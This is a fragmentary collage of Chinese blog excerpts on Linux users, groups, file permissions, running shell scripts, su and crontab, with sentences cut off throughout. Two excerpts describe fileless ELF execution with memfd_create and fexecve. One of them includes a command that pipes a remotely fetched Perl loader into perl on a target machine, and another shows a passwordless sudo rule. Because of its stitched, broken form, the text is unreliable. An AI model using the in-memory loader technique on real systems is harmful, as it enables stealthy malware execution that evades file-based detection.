/hello.sh【hello.sh必须有x权限】 二、直接sh 加上文件名.sh,如运行hello.sh为sh hello.sh【hello.sh可以没有x权限】 方法一:绝对路径执行.sh文件...到.sh文件所在目录 比如以hello.sh文件为例,如下 2、给.sh文件添加x执行权限 比如以hello.sh文件为例,chmod u+x hello.sh,如下图 3、..../执行.sh文件 比如以hello.sh文件为例,..../hello.sh 即可执行hello.sh文件,如下图 4、sh 执行.sh文件 以hello.sh文件为例,sh hello.sh即可执行hello.sh文件,如下图 注:用“./”加文件名.sh...执行时,必须给.sh文件加x执行权限
连接到mysql: mysql -u用户名 -p用户密码 2. 在MySQL下执行: source /home/jiangxingqi/DB/hello world.sql
3 - linux 用户、用户组、文件权限、文件查找概述在 Linux 操作系统中,用户与权限管理是系统安全和稳定运行的核心环节。...Linux 是典型的多用户操作系统,每个使用系统的人都需要拥有独立的用户账户,系统通过用户 ID(UID)来唯一标识不同用户。...用户分类超级用户(root) :UID 固定为 0,拥有系统的最高权限,可执行任何操作,包括修改系统核心配置、删除关键文件等。在日常操作中应尽量避免使用 root 账户,以降低误操作风险。...ls /data # 以 user1 身份执行 ls 命令文件权限1、Linux 是多用户多任务操作系统,为了区分不同用户对文件的操作权限,采用了用户 - 组 - 其他(User-Group-Others...,分别是:读权限(r) :允许查看文件内容或列出目录内容写权限(w) :允许修改文件内容或在目录中创建 / 删除文件执行权限(x) :允许运行可执行文件或进入目录3、数字表示法用三位八进制数表示权限组合
创建sh后缀文件: touch test.sh #!
在linux中运行的网站,我们一般分配一个www用户给网站应用程序。但这个用户正常情况是不可以登陆的,这时候如果重启一些服务需要求只能使用www用户执行。此时切换到www用户时,会出错。...方法一 修改/etc/passwd文件 nologin改为bin/bash,这样www用户可以登录服务器,但这样操作比较危险。 方法二 可以通过以下办法使用www用户执行命令。...1su -s /bin/bash -c "command" www su -s 是指定shell,这里www用户是nologin用户,是没有默认的shell的,这里指定使用/bin/bash, -c 后面接需要运行的命令..., 后面www是指定使用www用户来执行命令。...1DenyUsers www 这样www 用户永远不能通过ssh登陆。
文章目录 一、Linux 权限简介 二、系统权限 / 用户权限 / 匿名用户权限 1、系统权限 2、用户权限 3、匿名用户权限 一、Linux 权限简介 ---- Linux 是基于文件的系统 , 内存..., 设备 , 各种机制等 , 一切皆文件 ; Linux 中的每个文件都有自己的权限 ; 使用 ls -ll 命令查看根目录 : walleye:/ # ls -ll total 2244 dr-xr-xr-x..., 就有可能会影响其它应用使用该文件 ; drwxrwx--t 50 system misc 4096 2020-11-11 17:05 misc 二、系统权限 / 用户权限 / 匿名用户权限...data 2、用户权限 drwxrwx--x 中第二组 rwx 表示 用户权限 , 可以 读 / 写 / 执行 ; Android 系统的用户权限 就是每个应用的权限 , 进入 /data/data/...drwxrwx--x 中第三组 --x 表示 匿名用户权限 , 又叫通用权限 , 只能执行 ; shell 就是这类匿名用户 , 这也是为什么 , 我们进入 adb shell 后 , 如果不获取 root
02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。
继续2020年的flag,至少每周更一篇文章,今天讲linux无文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux无文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux无文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?
提供三种方法: 1.直接以需要指定的用户登录(对于没有bash登录权限的用户不可用) su aswl crontab -e 2.以root用户登录,然后创建指定用户的crontab文件 sudo crontab...-e -u aswl [quote color="danger"]注:crontab 文件为 aswl 用户创建,不便管理[/quote] 3.修改系统 crontab 文件,指定用户执行 vi /etc.../crontab 文件内容初始如下: SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see...,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 在命令前添加指定的用户名即可
最近写了个小脚本,要在linux小主机上面运行,但是遇到了个问题,由于我用的是宝塔面板的计划任务来做定时运行,这就涉及到一个问题了:宝塔面板计划任务默认是用root权限来运行的,但是我的conda装在我的个人用户下面...,我也不希望我的脚本以如此高的权限来运行,因此我希望在shell里面切换用户。...方法如下: su - -c " " 把上面的替换为用户名,替换为要执行的指令即可。
Linux(二)用户和文件权限1.用户和用户组一、用户(User)什么是liunx用户 :本质就是可以登录系统并使用系统资源(如运行程序、操作文件)的实体。使用操作系统的人都是用户。...审计: 系统日志可以记录哪个用户执行了特定操作。...类型超级用户(root):UID为0,拥有系统级最高权限,可执行所有操作(如修改系统配置、访问任意文件)系统用户(伪用户):UID范围通常为1-999(不同系统可能略有差异),用于运行系统服务(如bin...、daemon),默认无法登录普通用户:UID≥1000,由管理员创建,权限受限,仅能访问授权资源二、用户组(Group)什么是Linux 用户组:一组用户的集合。...vim example.txtx 执行文件:允许运行文件(如脚本、二进制程序)。 ./script.sh 关键点:文件的 w 权限仅允许修改内容,删除文件需目录的 w 权限。
用户管理 系统用户文件 系统用户文件 etc/passwd 用户密码文件 etc/shadow 添加用户 useradd # useradd [username] 参数 d:指定用户home目录 e:...user 设置用户密码 passwd # passwd [username] 删除用户 userdel # userdel [username] 删除用户及其家目录和邮件文件 # userdel -...,即过期后还能登陆的天数 d:为用户指定新的家目录 m:为用户指定新的家目录时,移动原来家目录中的所有文件 s:修改用户的默认shell 2....用户组管理 系统用户组文件 系统用户组文件 \etc\group 用户组密码文件 \etc\gshadow 添加用户组 groupadd # groupadd [groupname] 删除用户组 groupdel...all 操作符 + => 添加权限 - => 删除权限 = => 赋予权限 权限列表 r => 读 w => 写 x => 执行 参数 -R => 递归修改 suid、sgid、sticky权限
目的 通过一个小任务,了解 linux 的用户及文件的管理 2....# 切换用户 su loutest # 查看当前执行用户 whoani # 新建文件 sudo touch /opt/forloutest # 设置文件权限为读写 sudo chmod 600 /opt...其他用户对此文件没有任务全权限 chmod 666 loutest # 同理, 此命令就表示拥有者、所属用户组 和 其他用户 对此文件权限相同, # 均只有读写操作权限,没有执行权限 + - 模式 chmod...gu+x loutext #添加 g(所属用户组、 拥有者) 对此文件的 执行权限(例如脚本类文件就需要有执行权限) chmod o-wrx loutest # 删除 o(其他用户) 对此文件的 w...(写)、r(读)、x(执行)权限 注意:即使禁掉文件的所有权限, root 用户仍然可以修改、读取文件,但无法执行文件。
这个文件就是 /etc/passwd文件,它包含了一些与用户有关的信息。如下: ? root用户账户是Linux系统的管理员,固定分配给它的UID是0。...现在的Linux系统都将用户密码爆出在另外一个单独的文件夹中,这个文件就叫shadow文件,路径是/etc/shadow。只有特定的程序,比如我们要登陆Linux系统的时候才能访问这个文件。...一般情况下用普通用户登录就可以了,在需要root权限执行一些操作时,再su登录成为root用户。...r 代表对象是可读 w 代表对象是可写 x 代表对象是可执行 Linux权限码: 权 限 二进制值 八进制值 描 述 --- 000 0 没有任何权限...针对文件: r 表示可以读取文件 w 表示可以对文件内容做修改 x 表示文件可执行 针对目录: r 表示可以列出目录内容(可以使用ls),前提是得有 x 权限,因为如果你都不能进入这个目录,你怎么列出该目录的内容
使用命令为chown和chgrp 更改文件所属用户 chown -R 用户名 文件夹名 chown 用户名 文件名 改文件所属用户组 chgrp -R 用户名 文件夹名 chgrp 用户名 文件名
Linux为多用户多任务的操作系统,文件权限管理十分重要,每一个文件都有很多属性,合理的权限设置,可以确保数据不被未授权的人员访问,同时也能提高系统安全性。...本文将介绍Linux系统中用户、用户组及文件权限的常用知识。...从以上示例中,可以得知个人的权限默认是由职务所分配的,同理在Linux中,用户的权限默认是由用户组所赋予的。...特别注意的是,赵六(用户)为创始人,他拥有全部权限,对应在Linux系统中就是超级管理员 root 。...第3栏:拥有者,显示出拥有者的账号 第4栏:用户组,显示出拥有者加入的用户组的名称,在Linux系统中同1个账号可以加入1个或多个用户组中。
Linux系统中的用户是分角色的,用户的角色是由UID和GID来识别的(也就是说系统识别的是用户的UID、GID,而非用户用户名),有个UID是唯一的(系统中唯一如同身份证一样)用来标识系统的用户账号(...用户名) 1、 系统管理员root的UDI/GID都为0 2、 普通用户(管理员添加),默认它的UID\GID是从500--65535,权限很小,只能操作自己的家目录中文件及子目录(注:nobady...的uid\gid是65535) 3、 系统用户(也称虚拟用户),也就是安装系统时就默认存在且不可登录的用户,它们的UID\GID是从1--499 cat /etc/passwd中的第三排为UID,第四排为
用户管理 口令文件 /etc/passwd 影子口令文件 /etc/shadow 组账号文件 /etc/group 组口令文件 /etc/gshadow ?...userdel [-r] 用户名> //删除 userdel xiaohong 如果加参数-r ,表示在删除用户的同时,一并把用户的家目录及本地邮件存储的目录或文件也一同删除 组管理 groupadd...文件权限管理 ls列出的条目信息: -rw-r--r-- 1 anyone anyone 0 7月 3 14:32 test.txt r:读权限 w:写权限 x:执行权限 属主、同组人...、其他人 改变所属用户chown chown user text.txt 改文件权限chmod chmod 770 test.txt //如设置000权限,但root用户还是对其有权限...chmod u+r test.txt chmod u=rw test.txt 改文件所属组 必要参数: -c 当发生改变时输出调试信息 -f 不显示错误信息 -R 处理指定目录以及其子目录下的所有文件
用户、用户组概念及其文件结构详解 Linux用户只有两个等级:root及非root。...Linux中还有一部分用户,如:apache、mysql、nobody、ftp等,这些也都是非root用户,即普通用户。Linux的权限实际是上不同用户所能访问的文件的不同产生的假象。...目录是:/root) shell 像nobody这样用来执行Nginx的工作进程的用户,一般不分配密码和shell,甚至连home目录都没有。...其中比较特殊的是密码字段,统一由x代替了,看/etc/passwd就知道一开始Linux是将密码存在这个文件里的,由于考虑到/etc/passwd可以被所有人查看,所以将统一存储到/etc/shadow...root密码即有root权限的用户,添加方法如下: %wheel ALL=(ALL) NOPASSWD: ALL 另外还可以设定到底有哪些执行权限,具体的规则如下:(具体可看sudoers配置文件详解
linux和windows互传文件 用户配置文件和密码配置文件 用户组管理 用户管理 2.27 Linux和Windows互传文件 想要能让Linux和Windows互传文件,可以使用Xshell,但是首先需要在...Linux里安装一个包,命令如下: [root@study-01 ~]# yum install -y lrzsz 安装完后就可以使用命令将Linux的文件传到Windows上,例如我要将a.txt文件传到...Windows上,命令如下: [root@study-01 ~]# sz a.txt 然后会弹出一个界面让你选择保存的路径,按照自己的需求保存即可 还可以将Windows的文件传到Linux上,命令如下...: [root@study-01 ~]# rz 同样的也会弹出一个界面让你选择需要传递到Linux上的文件,文件保存的路径是你Linux当前输入此命令的路径 注意:此工具只适用于Xshell和secureCRT...,PUTTY是不支持的 3.1 用户配置文件和密码配置文件 etc目录下的passwd文件是核心的用户配置文件,每创建一个用户的信息都会存储在这个文件里,这个文件的结构是每个用户一行,每一行都会用冒分割成七段